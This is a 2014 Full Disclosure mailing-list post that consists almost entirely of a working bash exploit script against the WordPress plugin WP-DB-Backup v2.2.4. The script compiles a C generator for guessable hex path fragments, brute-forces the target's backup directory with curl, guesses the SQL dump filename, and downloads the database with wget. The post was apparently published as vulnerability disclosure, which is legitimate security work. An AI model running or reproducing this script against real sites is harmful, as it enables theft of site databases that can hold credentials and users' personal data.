[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] Exploit for stealing backups on WP sites with WP-DB-Backup v2.2.4 plugin
From:       "Larry W. Cashdollar" <larry0 () me ! com>
Date:       2014-11-22 16:55:38
Message-ID: CC296F77-9E36-4008-A50F-B447BFD51A21 () me ! com
[Download RAW message or body]

#!/bin/bash
#Larry W. Cashdollar, @_larry0
#Will brute force and search a Wordpress target site with WP-DB-Backup v2.2.4 plugin installed \
for any backups done on #20141031 assumes the wordpress database is wordpress and the table \
prefix is wp_ #http://www.vapid.dhs.org/advisories/wordpress/plugins/wp-db-backup-v2.2.4/
#http://thehackerblog.com/auditing-wp-db-backup-wordpress-plugin-why-using-the-database-password-for-entropy-is-a-bad-idea/
 #run ./exp targetsite

DATE="20141031"; #Date to search

if [ ! -e rainbow ]; then

cat << -EOF- > rbow.c
/*Create rainbow table for guessing wp-backup-db v2.2.4 backup path 
Larry W. Cashdollar*/
#include <stdio.h>
int
main (void)
{
  char string[16] = "0123456789abcdef";
  int x, y, z, a, b;
  for (x = 0; x < 16; x++)
      for (y = 0; y < 16; y++)
	  for (z = 0; z < 16; z++)
	      for (a = 0; a < 16; a++)
		  for (b = 0; b < 16; b++)
		      printf ("%c%c%c%c%c\n", string[x], string[y], string[z],
			      string[a], string[b]);
return(0);
}
-EOF-
echo "[+] Compiling rbow.c"
gcc rbow.c -o rbow
echo "[+] Creating rainbow table..."
./rbow > rainbow
fi

if [ ! -e found.txt ]; then
Z=0
K=`wc -l rainbow|awk '{print $1}'`;
echo "[+] Searching....";
	for x in `cat rainbow`; do 
                CPATH="http://$1/wp-content/backup-$x/";
 		RESULT=`curl -s --head $CPATH|grep 200`;
                if [ -n "$RESULT" ]; then
                 echo "[+] Location $CPATH Found";
                 echo "[+] Received $RESULT";
                 echo $x > found.txt;
                 break; #break here
	fi;
                 echo -n "Percent Done: ";
                 Y=`echo "scale=6;($Z/$K)*100"|bc`;
                 echo -n $Y
                 echo "%";
                 Z=$(( $Z + 1 ));
done
else
x=`cat found.txt`;
fi

# Now that we have the directory lets try to locate the database backup file.

K=999;
for y in `seq -w 0 999`; do 
                CPATH="http://$1/wp-content/backup-$x/wordpress_wp_$2_$y.sql"; #change WP \
Database Name and Table Prefix here  RESULT=`curl -s --head $CPATH|grep 200`;
                if [ -n "$RESULT" ]; then
                 echo "[+] Database backup $CPATH Found";
                 echo "[+] Received $RESULT";
                 wget $CPATH
                 exit; #break here
	fi;
                 echo -n "Percent Done: ";
                 Y=`echo "scale=2;($Z/$K)*100"|bc`;
                 echo -n $Y
                 echo "%";
                 Z=$(( $Z + 1 ));
done


_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic